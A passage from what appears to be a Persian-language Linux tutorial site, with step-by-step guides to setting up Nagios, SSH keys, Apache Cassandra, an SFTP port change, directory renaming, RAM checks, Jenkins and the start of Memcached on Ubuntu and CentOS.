کاربران معتبر بتوانند رابط را مشاهده کنند و دستورات را صادر کنند.پرونده پیکربندی را با ویرایشگر متن خود باز کنید:sudo nano /etc/apache2/conf-enabled/nagios4-cgi.confخطوط شروع شده با Require ip و “<Files “cmd.cgi">”, “” و Require all granted و خط را که Require valid-userمانند شکل زیر است ، فراموش نکنید.این پرونده همچنین شامل دستورالعمل هایی برای تنظیم سطوح مختلف دسترسی است.پس از انجام شدن مجدد آپاچی را راه اندازی کنید:sudo systemctl restart apache2با بررسی وضعیت آنها می توانید تأیید کنید که Apache و Nagios هر دو به درستی کار می کنند:sudo systemctl status apache2sudo systemctl status nagios4ایجاد حساب کاربریبه طور پیش فرض ، Nagios پیکربندی شده است تا به کاربرانی بنام "nagiosadmin" امتیازات اداری اعطا کند. با استفاده از این کاربر می توانید وارد رابط وب Nagios شوید و فهرست خود را مدیریت کنید. برای ایجاد کاربر از دستور htdigest زیر استفاده کنید:sudo htdigest -c /etc/nagios4/htdigest.users Nagios4 nagiosadminاز شما خواسته می شود رمز عبور کاربر را وارد و تأیید کنید.New password: Re-type new password: Adding password for user nagiosadminبرای اعمال تغییرات ، سرویس Apache را مجدداً راه اندازی کنید:sudo systemctl restart apache2پیکربندی فایروالاوبونتو با یک ابزار پیکربندی فایروال به نام UFW دارد. اگر فایروال روی سیستم شما فعال شده است ، حتما پورت های HTTP و HTTPS را باز کنید:sudo ufw allow Apacheدسترسی به رابط وب Nagiosبرای دسترسی به رابط وب Nagios مرورگر مورد علاقه خود را باز کنید و نام دامنه سرور یا آدرس IP عمومی خود را تایپ کنید و به دنبال آن /nagios:http(s)://your_domain_or_ip_address/nagiosمشخصات یوزر nagiosadminرا وارد کنید، و به شما به طور پیش فرض در صفحه اصلی هدایت می شوید.نتیجه گیریما به شما نشان داده ایم كه چگونه Nagios را روی سرورهای اوبونتو نصب كردید.برای کسب اطلاعات بیشتر در مورد نحوه پیکربندی و استفاده از Nagios ، مستندات آنها را بررسی کنید .

ادامه مطلب
آموزش تنظیم SSH Keys در اوبونتو 20.04

آموزش تنظیم SSH Keys در اوبونتو 20.04

آموزش تنظیم SSH Keys در اوبونتو 20.04Secure Shell (SSH) یک پروتکل رمزنگاری شبکه است که برای اتصال ایمن بین مشتری و سرور مورد استفاده قرار می گیرد و از مکانیسم های مختلف تأیید اعتبار پشتیبانی می کند. دو مکانیسم مشهور عبارتند از تأیید اعتبار کلمه عبور و تأیید اعتبار عمومی مبتنی بر کلید. استفاده از کلیدهای SSH نسبت به احراز هویت سنتی رمز عبور ایمن تر و راحت تر است. در این آموزش ، نحوه تولید کلیدهای SSH در دستگاه های اوبونتو 20.04 را مرور خواهیم کرد. ما همچنین به شما روش تنظیم احراز هویت مبتنی بر کلید SSH را نشان می دهیم و بدون وارد کردن رمز عبور به سرورهای راه دور لینوکس خود متصل می شوید. ایجاد کلیدهای SSH در اوبونتوقبل از ایجاد یک جفت کلید جدید SSH ، ابتدا کلیدهای SSH موجود را در دستگاه buntu client خود بررسی کنید. می توانید این کار را با اجرای دستور ls زیر انجام دهید: ls -l ~/.ssh/id_*.pub اگر دستور فوق چیزی را چاپ کند مانند No such file or directory و یا no matches found ، به این معنی است که شما کلید SSH در دستگاه مشتری ندارید و می توانید مرحله بعدی را انجام داده و یک جفت کلید SSH تولید کنید. اگر کلیدهای موجود وجود دارد ، می توانید از آن ها استفاده کنید و مرحله بعدی را پشت سر بگذارید یا از کلیدهای قدیمی نسخه پشتیبان تهیه کنید و کلیدهای جدید تولید کنید. با تایپ کردن دستور زیر ، یک جفت کلید جدید 4096 بیتی SSH با آدرس ایمیل خود ایجاد کنید: ssh-keygen -t rsa -b 4096 -C "your_email@domain.com" خروجی چیزی شبیه به این خواهد بود: Enter file in which to save the key (/home/yourusername/.ssh/id_rsa): Enter فشار دهید تا مکان پیش فرض فایل و نام پرونده را بپذیرید. در مرحله بعد ، از شما خواسته می شود یک کلمه عبور ایمن تایپ کنید. این که آیا شما می خواهید از کلمه عبور استفاده کنید ، بستگی به شما دارد. اگر استفاده از عبارت عبور انتخاب کنید، یک لایه امنیتی اضافی دریافت خواهید کرد. Enter passphrase (empty for no passphrase): اگر نمی خواهید از عبارت عبور استفاده Enter فشار دهید. برای تأیید ایجاد SSH key جدید ، تایپ کنید: ls ~/.ssh/id_*/home/yourusername/.ssh/id_rsa /home/yourusername/.ssh/id_rsa.pub کلید عمومی را در سرور اوبونتو کپی کنید اکنون که جفت کلید SSH خود را ایجاد کردید ، مرحله بعدی کپی کردن کلید عمومی روی سرور مورد نظر برای مدیریت است. ساده ترین و توصیه شده ترین روش برای کپی کردن کلید عمومی خود بر روی سرور ، استفاده از ابزاری به نام ssh-copy-id . در ترمینال دستگاه لوکال شماست: ssh-copy-id remote_username@server_ip_address از شما خواسته می شود رمز ورود نام کاربری را وارد کنید: remote_username@server_ip_address's password: پس از تأیید اعتبار کاربر ، کلید عمومی ~/.ssh/id_rsa.pub به پرونده یوزر ریموت ~/.ssh/authorized_keys اضافه میشود و کانکشن بسته میشود.Number of key(s) added: 1Now try logging into the machine, with: "ssh 'username@server_ip_address'"and check to make sure that only the key(s) you wanted were added. اگر به دلایلی ابزار ssh-copy-id در رایانه شما موجود نیست ، می توانید از دستور زیر برای کپی کردن کلید عمومی استفاده کنید: cat ~/.ssh/id_rsa.pub | ssh remote_username@server_ip_address "mkdir -p ~/.ssh && chmod 700 ~/.ssh && cat >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys"با استفاده از کلیدهای SSH وارد سرور خود شوید پس از انجام مراحل فوق باید بتوانید بدون اینکه پسورد خواسته شود ، به سرور ریموت وارد شوید. برای آزمایش آن ، سعی کنید از طریق SSH به سرور خود وارد شوید: ssh remote_username@server_ip_address اگر یک عبارت عبور برای کلید خصوصی تنظیم نکرده اید ، بلافاصله وارد سیستم می شوید. در غیر اینصورت از شما خواسته می شود که عبارت عبور را وارد کنید. غیرفعال کردن تأیید هویت رمزعبور SSH غیرفعال کردن احراز هویت رمز عبور ، یک لایه امنیتی بیشتر به سرور شما اضافه می کند. قبل از غیرفعال کردن احراز هویت رمزعبور SSH ، مطمئن شوید که می توانید بدون رمز ورود به سرور خود وارد شوید و کاربری که با آن وارد شده اید دارای امتیازات sudo است . وارد سرور راه دور خود شوید: ssh sudo_user@server_ip_address پرونده پیکربندی SSH /etc/ssh/sshd_config با ویرایشگر متن خود باز کنید : sudo nano /etc/ssh/sshd_configموارد زیر را جستجو کنید و به شرح زیر اصلاح کنید:PasswordAuthentication noChallengeResponseAuthentication noUsePAM no پس از اتمام کار ، پرونده را ذخیره کرده و سرویس SSH را دوباره راه اندازی کنید: sudo systemctl restart ssh در این مرحله ، تأیید هویت مبتنی بر رمز عبور غیرفعال است. نتیجه گیری در این آموزش ، شما یاد گرفتید که چگونه یک جفت کلید جدید SSH تولید کنید و احراز هویت مبتنی بر کلید SSH را تنظیم کنید. می توانید همان کلید را به چندین سرور از راه دور اضافه کنید. ما همچنین به شما نشان داده ایم كه چگونه رمز عبور SSH را غیرفعال كنید و یک لایه امنیتی بیشتر به سرور خود اضافه كنید. به طور پیش فرض ، SSH از پورت 22 استفاده میکند. تغییر درگاه پیش فرض SSH خطر حملات را کاهش می دهد. اگر به طور مرتب به چندین سیستم وصل می شوید ، می توانید با تعیین کلیه اتصالات خود در پرونده پیکربندی SSH ، جریان کاری خود را ساده کنید.

ادامه مطلب
آموزش نصب Apache Cassandra در CentOS 8

آموزش نصب Apache Cassandra در CentOS 8

آموزش نصب Apache Cassandra در CentOS 8Apache Cassandra یک پایگاه داده رایگان ، منبع باز و NoSQL است. Apache Cassandra توسط بسیاری از شرکتها که دارای مجموعه داده های بزرگ از جمله Reddit NetFlix ، Instagram و Github استفاده می شود. در این مقاله آموزش نصب Apache Cassandra در CentOS 8 توضیح داده شده است.نصب Apache Cassandra در CentOS 8ساده ترین راه برای نصب Apache Cassandra در CentOS 8 با نصب بسته rpm از مخزن رسمی آپاچی کاساندرا است.آخرین نسخه Apache Cassandra است 3.11و به OpenJDK 8 روی سیستم نیاز دارد.برای نصب OpenJDK دستور زیر را به عنوان root یا کاربر با امتیازات sudo اجرا کنید :sudo dnf install java-1.8.0-openjdk-develپس از اتمام ، نصب را با چاپ نسخه جاوا تأیید کنید:java -versionخروجی باید چیزی شبیه به این باشد:openjdk version "1.8.0_262"OpenJDK Runtime Environment (build 1.8.0_262-b10)OpenJDK 64-Bit Server VM (build 25.262-b10, mixed mode)اکنون که جاوا نصب شده است ، مرحله بعدی اضافه کردن مخزن Apache Cassandra است.ویرایشگر متن خود را باز کرده و پرونده مخزن زیر را ایجاد کنید:sudo nano /etc/yum.repos.d/cassandra.repoمحتوای زیر را درون پرونده قرار دهید:[cassandra]name=Apache Cassandrabaseurl=https://www.apache.org/dist/cassandra/redhat/311x/gpgcheck=1repo_gpgcheck=1gpgkey=https://www.apache.org/dist/cassandra/KEYSپرونده را ذخیره کنید و با تایپ کردن آخرین نسخه Apache Cassandra را نصب کنید:sudo dnf install cassandraدر صورت درخواست ، yتایپ کنید تا کلیدهای GPG ایمپورت شوند.پس از اتمام نصب ، سرویس Cassandra را شروع و فعال کنید:sudo systemctl start cassandrasudo systemctl enable cassandraوضعیت سرویس را با دستور زیر چک کنید:nodetool statusشما باید چیزی شبیه به این را ببینید:Datacenter: datacenter1=======================Status=Up/Down|/ State=Normal/Leaving/Joining/Moving-- Address Load Tokens Owns (effective) Host ID RackUN 127.0.0.1 69.99 KiB 256 100.0% ce0389a3-b48c-4cc9-b594-abe23e677d33 rack1در این مرحله ، شما Apache Cassandra را بر روی سرور CentOS خود نصب کردید.پیکربندی Apache Cassandraداده های Apache Cassandra در دایرکتوری /var/lib/cassandraذخیره می شوند ، پرونده های پیکربندی در آن قرار دارند /etc/cassandraو گزینه های راه اندازی جاوا را می توان در پرونده /etc/default/cassandra پیکربندی کرد .به طور پیش فرض ، کاساندرا طوری پیکربندی شده است که فقط در localhost فراخوانی شود. اگر کلاینت متصل به پایگاه داده نیز در همان میزبان در حال اجرا است ، دیگر نیازی به تغییر پرونده پیکربندی پیش فرض نیست.برای تعامل با Cassandra از طریق CQL (زبان Cassandra Query) ، می توانید از یک ابزار خط فرمان به نام cqlshکه با بسته Cassandra ارسال می شود استفاده کنید.cqlshنیاز به پایتون 2 در PATH سیستم دارد . اگر پایتون 2 روی سرور نصب نشده ، می توانید با دستورات زیر این کار را انجام دهید:sudo dnf install python2sudo alternatives --set python /usr/bin/python2پس از راه اندازی پایتون ، دسترسی cqlsh به پوسته CQL را اجرا کنید:cqlsh[cqlsh 5.0.1 | Cassandra 3.11.7 | CQL spec 3.4.4 | Native protocol v4]Use HELP for help.cqlsh>تغییر نام Apache Cassandra Clusterبه طور پیش فرض ، کالستر کاساندرا "Cluster Test" نامگذاری شده است. اگر می خواهید نام کالستر را تغییر دهید ، مراحل زیر را دنبال کنید:ورود به ترمینال Cassandra CQL با cqlsh:cqlshدستور زیر نام Cluster را به "One3erver Cluster" تغییر می دهد:UPDATE system.local SET cluster_name = 'One3erver Cluster' WHERE KEY = 'local';"One3erver Cluster" را با نام دلخواه خود جایگزین کنید. پس از اتمام کار ، برای خروج از کنسول exit تایپ کنید .پرونده پیکربندیcassandra.yaml را باز کنید ، "cluster_name" را جستجو کنید و نام cluster جدید خود را وارد کنید:sudo nano /etc/cassandra/default.conf/cassandra.yamlcluster_name: 'One3erver Cluster'حافظه کش سیستم را پاک کنید:nodetool flush systemدر آخر سرویس Cassandra را مجدداً راه اندازی کنید:sudo systemctl restart cassandraنتیجه گیریما به شما نشان داده ایم كه چگونه Apache Cassandra را در CentOS 8. نصب كنید. هم اکنون می توانید به صفحه رسمی Documentation Apache Cassandra مراجعه كنید و نحوه شروع كار با Cassandra را بیاموزید.

ادامه مطلب
آموزش تغییر پورت SFTP

آموزش تغییر پورت SFTP

آموزش تغییر پورت SFTPSFTP (پروتکل انتقال فایل SSH) یک پروتکل ایمن برای انتقال فایل ها بین دو میزبان از طریق اتصال رمزگذاری شده است. همچنین به شما امکان می دهد عملیات مختلف فایل را بر روی فایلهای از راه دور انجام دهید و انتقال پرونده را از سر بگیرید. SFTP می تواند به عنوان جایگزینی برای پروتکل FTP استفاده شود. دارای تمام قابلیت های FTP اما با اتصال امن تر است. در این مقاله آموزش تغییر پورت SFTP در لینوکس توضیح داده شده است. ما همچنین به شما نشان خواهیم داد که چگونه دیوار آتش خود را برای پورت جدید پیکربندی کنید.SFTP از چه پورت استفاده می کندSFTP یک زیر سیستم SSH است و همان سطح امنیتی SSH را فراهم می کند.پورت پیش فرض SFTP 22 است .تغییر پورت SFTPتغییر پورت پیش فرض SFTP / SSH با کاهش خطر حملات خودکار ، لایه ای از امنیت اضافی را به سرور شما اضافه می کند.مراحل زیر نحوه تغییر پورت SSH در دستگاه های لینوکس را شرح می دهد.1. انتخاب شماره پورت جدیددر لینوکس ، شماره پورت های زیر 1024 برای سرویسهای شناخته شده محفوظ است و فقط به روت محدود می شود. اگرچه می توانید از پورت در محدوده 1-1024 برای سرویس SSH استفاده کنید تا از مشکلات مربوط به تخصیص درگاه جلوگیری شود ، توصیه می شود پورت بالای 1024 را انتخاب کنید.این مثال نحوه تغییر پورت SFTP / SSH را به 4422 نشان می دهد ، اما می توانید هر پورت را به دلخواه خود انتخاب کنید.2. تنظیم فایروالقبل از تغییر پورت SFTP / SSH ، باید پورت جدید را در فایروال خود باز کنید.اگر از UFW ، فایروال پیش فرض در اوبونتو استفاده می کنید ، دستور زیر را برای باز کردن پورت اجرا کنید:sudo ufw allow 4422/tcpدر CentOS ، ابزار پیش فرض مدیریت فایروال FirewallD است. برای باز کردن پورت ، دستورات زیر را وارد کنید:sudo firewall-cmd --permanent --zone=public --add-port=4422/tcpsudo firewall-cmd --reloadکاربران CentOS همچنین برای تنظیم پورت SSH جدید باید قوانین SELinux را تنظیم کنند:sudo semanage port -a -t ssh_port_t -p tcp 4422اگر از توزیع لینوکس دیگری استفاده می کنید که iptables را اجرا می کند ، برای باز کردن پورت جدید:sudo iptables -A INPUT -p tcp --dport 4422 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT3. پیکربندی SFTP / SSHپیکربندی SSH سرور در پرونده /etc/ssh/sshd_config ذخیره می شود. پرونده را با ویرایشگر متن خود باز کنید:sudo vim /etc/ssh/sshd_configخطی که باPort 22شروع میشود را پیدا کنید . به طور معمول ، این خط با استفاده از نماد هش # توضیح داده می شود. هش را برداشته و شماره پورت جدید SSH خود را وارد کنید:Port 4422هنگام ویرایش پرونده پیکربندی بسیار مراقب باشید. پیکربندی نادرست ممکن است مانع از شروع سرویس SSH شود.پس از اتمام ، پرونده را ذخیره کرده و سرویس SSH را مجدداً راه اندازی کنید تا تغییرات اعمال شود:sudo systemctl restart sshدر CentOS سرویس SSH با عنوان sshd نامگذاری شده است :sudo systemctl restart sshdتأیید کنید که Daemon SSH از پورت جدید فراخوانی میشود:ss -an | grep 4422خروجی باید چیزی شبیه به این باشد:tcp LISTEN 0 128 0.0.0.0:4422 0.0.0.0:*tcp ESTAB 0 0 192.168.121.108:4422 192.168.121.1:57638tcp LISTEN 0 128 [::]:4422 [::]:*استفاده از درگاه جدید SFTPبرای مشخص شدن شماره پورت sftp:sftp -P 4422 username@remote_host_or_ipاگر از GUI SFTP استفاده می کنید ، به سادگی پورت جدید را در رابط کاربری وارد کنید.نتیجه گیریدرگاه پیش فرض SFTP 22 است. با این وجود ، می توانید پورت را به شماره مورد نظر خود تغییر دهید.اگر به طور مرتب به چندین سیستم وصل می شوید ، می توانید با تعریف کلیه اتصالات خود در پرونده پیکربندی SSH ، جریان کاری خود را ساده کنید .

ادامه مطلب
آموزش تغییر نام دایرکتوری ها در لینوکس

آموزش تغییر نام دایرکتوری ها در لینوکس

آموزش تغییر نام دایرکتوری ها در لینوکستغییر نام دایرکتوری ها یکی از اساسی ترین عملیاتی است که اغلب بر روی سیستم لینوکس نیاز دارید. می توانید دایرکتوری ها را با چند کلیک از فایل منیجر در GUI و یا با استفاده از خط فرمان در ترمینال تغییر دهید. در این مقاله آموزش تغییر نام دایرکتوری ها در لینوکس با استفاده از خط فرمان توضیح داده شده است.تغییر نام دایرکتوری هادر سیستم عامل های لینوکس مانند یونیکس ، می توانید از دستور mvبرای تغییر نام یا انتقال پرونده ها و دایرکتوری ها از یک مکان به مکان دیگر استفاده کنید.نحوه استفاده از دستور mv برای دایرکتوریهای متحرک به شرح زیر است:mv [OPTIONS] source destinationبه عنوان مثال ، تغییر نام دایرکتوری dir1به dir2باید اجرا شود:mv dir1 dir2هنگام تغییر نام دایرکتوری ها ، باید دقیقاً دو آرگومان را برای فرمان mv مشخص کنید . اولین آرگومان نام فعلی دایرکتوری و دومین نام جدید است.توجه به این نکته ضروری است که در صورت وجود dir1 ، dir2به دایرکتوری dir2 منتقل می شود .برای تغییر نام دایرکتوری که در فهرست کار فعلی نیست ، باید مسیر مطلق یا نسبی را مشخص کنید:mv /home/user/dir1 /home/user/dir2تغییر نام چندین دایرکتوریتغییر نام یک دایرکتوری یک کار ساده است ، اما تغییر نام چندین دایرکتوری به طور هم زمان می تواند یک مشکل به ویژه برای کاربران جدید لینوکس باشد.تغییر نام چندین دایرکتوری با mvدستورmvمی تواند فقط یک فایل را در هر زمان تغییر نام دهد.در اینجا مثالی وجود دارد که نشان می دهد چگونه می توانید از حلقه for استفاده کنید تا تاریخ فعلی را به نام همه فهرست های موجود در فهرست کار فعلی اضافه کنید:for d in *; do if [ -d "$d" ]; then mv -- "$d" "${d}_$(date +%Y%m%d)" fidoneروش زیر یک روش TI است که همان کار را با استفاده از mvدر ترکیب با findانجام میدهد.find . -mindepth 1 -prune -type d -exec sh -c 'd="{}"; mv -- "$d" "${d}_$(date +%Y%m%d)"' \;این findدستور mvبا استفاده از گزینه-exec ، تمام دایرکتوری ها را یکی یکی منتقل می کند. رشته {}نام دایرکتوری است که در حال پردازش است.همانطور که از نمونه های آن می بینید ، تغییر نام چندین دایرکتوری با mvکار ساده ای نیست زیرا نیاز به دانش خوبی در برنامه نویسی Bash دارد.تغییر نام چندین دایرکتوری با renameاز دستورrenameبرای تغییر نام چندین فایل و فهرست استفاده می شود. این دستور پیشرفته تر از mvاست.دو نسخه از دستورrenameوجود دارد. ما از نسخه Perl دستور rename استفاده می کنیم. پرونده ها مطابق با عبارت معمولی perl داده شده تغییر نام داده می شوند .مثال زیر نحوه جایگزینی فضاها به نام کلیه دایرکتوریهای موجود در فهرست فعلی را با _ نشان می دهد:find . -mindepth 1 -prune -type d | rename 'y/ /_/'برای قرار گرفتن در قسمت امن ، گزینه ی-n را با renameبرای چاپ نام دایرکتوری ها برای تغییر نام بدون تغییر نام در آنها ، استفاده کنید.در اینجا مثال دیگری وجود دارد که نشان می دهد چگونه می توانید نام های دایرکتوری ها را به حروف کوچک تبدیل کنید:find . -mindepth 1 -prune -type d | rename 'y/A-Z/a-z/'نتیجه گیریما به شما نشان دادیم كه چگونه از دستورات mvبرای تغییر نام دایرکتوری ها استفاده کنید.

ادامه مطلب
نحوه بررسی میزان رم استفاده شده در لینوکس

نحوه بررسی میزان رم استفاده شده در لینوکس

نحوه بررسی میزان رم استفاده شده در لینوکسهنگام عیب یابی سیستم یا کاهش سرعت برنامه ها، یکی از اولین مواردی که باید بررسی کنید ، میزان استفاده از حافظه سیستم است. در این مقاله نحوه بررسی میزان رم استفاده شده در لینوکس با استفاده از چندین دستور مختلف توضیح داده شده است.فرمان freefreeمتداول ترین دستور برای بررسی میزان استفاده از رم سیستم لینوکس است. اطلاعات مربوط به کل رم ، میزان استفاده شده و میزان آزاد را نشان می دهد.به طور کلی freeبا گزینه -h فراخوانی می شود که به معنی چاپ خروجی در قالب قابل خواندن توسط انسان است:free -h total used free shared buff/cache availableMem: 3936 1087 252 130 2596 2427Swap: 0 0 0معنی هر ستون چیست:total - مقدار کل حافظه قابل استفاده توسط برنامه ها.used - حافظه استفاده شده. اینگونه محاسبه می شود:used = total - free - buffers - cachefree - حافظه آزاد / استفاده نشده.buff / cache - حافظه ترکیبی که توسط بافر هسته و حافظه کش صفحه و اسلب استفاده می شود. در صورت نیاز توسط برنامه ها ، این حافظه در هر زمان قابل بازیابی است.available - تخمینی از حافظه ای که برای شروع برنامه های جدید ، بدون swap در دسترس است.دستور freeاطلاعات حافظه فیزیکی و swap سیستم را چاپ میکند.فرمان toptopیک ابزار خط فرمان است که اطلاعات زمان حال را در مورد فرآیندهای در حال اجرا نمایش می دهد. همچنین خلاصه اطلاعات سیستم ، از جمله استفاده از رم را نشان می دهد.برای فراخوانی این فرمان ، به سادگی تایپ کنید top:topخروجی چیزی شبیه به این خواهد بود:سرصفحه خروجی شامل اطلاعاتی در مورد حافظه فیزیکی و آزاد و استفاده شده از سیستم می باشد.ستون%MEM اطلاعات در مورد میزان استفاده از حافظه فیزیکی موجود برای هر فرآیند در حال اجرا است./proc/meminfoساده ترین روش برای بررسی میزان استفاده از حافظه RAM ، نمایش محتوای پرونده مجازی/proc/meminfoاست. این فایل توسط free، top، psو دیگر دستورات اطلاعات سیستم استفاده شده است.از lessیا catجهت مشاهده مطالب پرونده /proc/meminfo استفاده کنید:cat /proc/meminfoاین پرونده شامل مقدار زیادی از اطلاعات در مورد حافظه سیستم و استفاده از swap است:MemTotal: 4030592 kBMemFree: 401804 kBMemAvailable: 2507504 kB...اطلاعات موجود در پرونده /proc/meminfoرا می توان در اسکریپت های پوسته تجزیه و استفاده کرد.اسکریپت ps_memps_memیک اسکریپت پایتون است که میزان استفاده از حافظه RAM در هر برنامه را گزارش می کند. این برنامه با پایتون 2 و 3 کار می کند و قابل نصب با pipاست:sudo pip3 install ps_memاین اسکریپت به دسترسی ادمین نیاز دارد. برای راه اندازی آن ، sudo ps_mem را تایپ کنید:sudo ps_memخروجی شامل حافظه هر برنامه در حال اجرا به ترتیب صعودی خواهد بود: Private + Shared = RAM usedProgram... 11.9 MiB + 20.2 MiB = 32.1 MiBnginx (4) 8.2 MiB + 42.4 MiB = 50.6 MiBsystemd-journald 55.8 MiB + 307.2 MiB = 363.0 MiBphp-fpm7.4 (6)233.9 MiB + 234.0 MiB = 467.9 MiBredis-server578.2 MiB + 578.6 MiB = 1.1 GiBmysqld--------------------------------- 2.2 GiB=================================این اسکریپت زمانی مفید است که می خواهید بفهمید که کدام برنامه در حال اجرا، بیشتر حافظه سیستم شما را می گیرد.نتیجه گیریما چندین دستور به شما نشان داده ایم كه می توانید از آنها برای بررسی میزان استفاده از حافظه سیستم استفاده كنید.

ادامه مطلب
آموزش نصب Jenkins در اوبونتو 20.04 Ubuntu

آموزش نصب Jenkins در اوبونتو 20.04 Ubuntu

آموزش نصب Jenkins در اوبونتو 20.04 Ubuntuجنکینز یک نرم‌افزار متن‌باز اتوماسیون سرور است که با جاوا نوشته شده است. جنکینز بستری را آماده می‌کند که به کمک آن می‌توان قسمت‌هایی از پروسه تولید نرم‌افزار که نیاز به دخالت نیروی انسانی ندارد را با استفاده از پروسه یکپارچه‌سازی مداوم و تسهیل جنبه‌های فنی تحویل پیوسته نرم‌افزار خودکارسازی کرد. جنکینز می تواند به عنوان یک سرویس مستقل ، به عنوان یک سرویس در یک سرویس جاوا مانند Apache Tomcat نصب شود یا می تواند به عنوان یک ظرف Docker اجرا شود. در این مقاله آموزش نصب جنکینز در اوبونتو 20.04 Ubuntu به عنوان یک سرویس مستقل توضیح داده شده است.نصب جاواجنکینز یک برنامه جاوا است و برای نصب آن نیاز به جاوا 8 یا بالاتر دارد. ما OpenJDK 11 ، برای اجرای منبع باز Platforma Java را نصب خواهیم کرد .دستورات زیر را به عنوان root یا کاربر با امتیازات sudo اجرا کنید. برای نصب OpenJDK 11 اجرا کنید:sudo apt updatesudo apt install openjdk-11-jdkپس از اتمام نصب ، با بررسی نسخه جاوا آن را تأیید کنید:java -versionخروجی باید چیزی شبیه به این باشد:openjdk version "11.0.7" 2020-04-14OpenJDK Runtime Environment (build 11.0.7+10-post-Ubuntu-3ubuntu1)OpenJDK 64-Bit Server VM (build 11.0.7+10-post-Ubuntu-3ubuntu1, mixed mode, sharing)نصب جنکینزنصب جنکینز روی اوبونتو نسبتاً ساده است. مخزن Jenkins APT را فعال می کنیم ، کلید مخزن GPG را وارد می کنیم و بسته Jenkins را نصب می کنیم.کلیدهای GPG مخزن جنکینز را با استفاده از دستور wget زیر وارد کنید:wget -q -O - https://pkg.jenkins.io/debian/jenkins.io.key | sudo apt-key add -بعد مخزن جنکینز را به سیستم اضافه کنید:sudo sh -c 'echo deb http://pkg.jenkins.io/debian-stable binary/ > /etc/apt/sources.list.d/jenkins.list'پس از فعال کردن مخزن جنکینز ، لیست بسته هاapt را به روز کنید و با تایپ کردن دستور زیر آخرین نسخه جنکینز را نصب کنید:sudo apt updatesudo apt install jenkinsاگر پیام خطایی شبیه زیر دریافت کردید:Error: W: GPG error: https://pkg.jenkins.io/debian-stable binary/ Release: The following signatures couldn’t be verified because the public key is not available: NO_PUBKEY 9B7D32F2D50582E6"کلید را به این شکل وارد کنید:sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 9B7D32F2D50582E6خدمات جنکینز پس از اتمام مراحل نصب به طور خودکار شروع می شود. می توانید با چاپ وضعیت خدمات آن را تأیید کنید:systemctl status jenkinsشما باید چیزی شبیه به این را ببینید:● jenkins.service - LSB: Start Jenkins at boot time Loaded: loaded (/etc/init.d/jenkins; generated) Active: active (exited) since Thu 2020-07-16 20:22:12 UTC; 15min ago...تنظیم فایروالاگر جنکینز را روی یک سرور از راه دور اوبونتو نصب می کنید که توسط فایروال محافظت می شود ، باید پورت را باز کنید 8080.اگر فقط می خواهید از یک آدرس IP خاص یا محدوده IP به سرور جنکینز دسترسی داشته باشید. به عنوان مثال ، برای دسترسی به اتصالات فقط از رنج "192.168.121.0/24" ، دستور زیر را اجرا می کنید:sudo ufw allow proto tcp from 192.168.121.0/24 to any port 8080در صورت نیاز به دسترسی از آی پی اجرا کنید:sudo ufw allow 8080تنظیم جنکینزبرای راه اندازی نصب و راه اندازی جنکینز جدید ، مرورگر خود را باز کرده، نوع دامنه یا آدرس IP به دنبال پورت 8080را وارد کنید، http://your_ip_or_domain:8080.صفحه ای مشابه موارد زیر نمایش داده می شود و از شما خواسته می شود رمز عبور سرور را که در حین نصب ایجاد شده است وارد کنید:از catبرای نمایش رمز عبور در ترمینال استفاده کنید:sudo cat /var/lib/jenkins/secrets/initialAdminPasswordشما باید یک رمزعبور الفبایی به طول 32 کاراکتر ، مانند تصویر زیر مشاهده کنید:06cbf25d811a424bb236c76fd6e04c47رمز عبور را از ترمینال کپی کنید ، آن را در قسمت "رمز عبور سرور" جایگذاری کرده و روی "ادامه" کلیک کنید.در صفحه بعدی ، setup wizard از شما سؤال می کند که آیا می خواهید افزونه های پیشنهادی را نصب کنید یا می خواهید افزونه های خاصی را انتخاب کنید.روی "Install suggested plugins" کلیک کنید و مراحل نصب بلافاصله آغاز می شود.پس از نصب افزونه ها ، از شما خواسته می شود اولین کاربر سرپرست را تنظیم کنید. تمام اطلاعات مورد نیاز را پر کنید و روی "Save and Continue" کلیک کنید.در صفحه بعد از شما خواسته می شود URL را برای نمونه جنكینز خود تنظیم كنید. این فیلد با یک URL تولید شده به صورت خودکار جمع می شود.با کلیک بر روی Save and Finish ، لینک را تأیید کنید و مراحل تنظیم کامل خواهد شد.بر روی دکمه Start using Jenkinsدکمه کلیک کنید ، و به داشبورد جنکینز که به عنوان کاربر سرپرستی که در یکی از مراحل قبلی ایجاد کرده اید ، وارد شده اید.در این مرحله ، شما موفقیت جنکینز را بر روی سرور خود نصب کرده اید.نتیجه گیریدر این آموزش نحوه نصب و تکمیل پیکربندی اولیه جنکینز روی سیستم های اوبونتو را به شما نشان داده ایم.هم اکنون می توانید به صفحه رسمی اسناد جنکینز مراجعه کرده و شروع به کاوش در گردش مدل و افزونه های جنکینز کنید.

ادامه مطلب
آموزش نصب Memcached در اوبونتو 20.04 Ubuntu

آموزش نصب Memcached در اوبونتو 20.04 Ubuntu

آموزش نصب Memcached در اوبونتو 20.04 UbuntuMemcached یک فروشگاه داده با ارزش بالا و با کارایی بالا با حافظه کلیدی است. به طور کلی برای سرعت بخشیدن به برنامه ها از طریق ذخیره اشیاء مختلف از نتایج API و تماس های پایگاه داده استفاده می شود.این مقاله نحوه نصب و پیکربندی Memcached در اوبونتو 20.04 را نشان می دهد.نصب Memcached #بسته memcached در مخازن پیش فرض اوبونتو 20.04 گنجانده شده است. برای نصب آن ، دستور زیر را به عنوان root یا کاربر دارای امتیازات sudo وارد کنید :sudo apt updatesudo apt install memcached libmemcached-toolsاین libmemcached-toolsبسته برنامه های خط فرمان را ارائه می دهد که می توانید از آنها برای مدیریت سرور ممکشی استفاده کنید.پس از اتمام نصب ، سرویس memcached بطور خودکار شروع می شود. برای بررسی وضعیت سرویس ، وارد کنید:sudo systemctl status memcachedخروجی چیزی شبیه به این خواهد بود:● memcached.service - memcached daemon Loaded: loaded (/lib/systemd/system/memcached.service; enabled; vendor preset: enabled) Active: active (running) since Mon 2020-07-13 19:32:01 UTC; 23s agoبه همین ترتیب ، شما memcached را روی سرور Ubuntu 20.04 خود نصب کرده اید ، و می توانید شروع به استفاده از آن کنید.پیکربندی Memcached #گزینه های Memcached را می توان در /etc/memcached.confپرونده پیکربندی کرد . به طور پیش فرض ، قرار است که memcached فقط در localhost گوش کند.تنظیمات پیش فرض پیکربندی برای اکثر کاربران کافی است.دسترسی از راه دور #اگر مشتری متصل به memcached در همان میزبان در حال اجرا است ، نباید اجازه دسترسی از راه دور را داشته باشید.در صورت پیکربندی نادرست ، می توان از memcached برای انجام حمله انکار سرویس توزیع شده (DDoS) استفاده کرد. 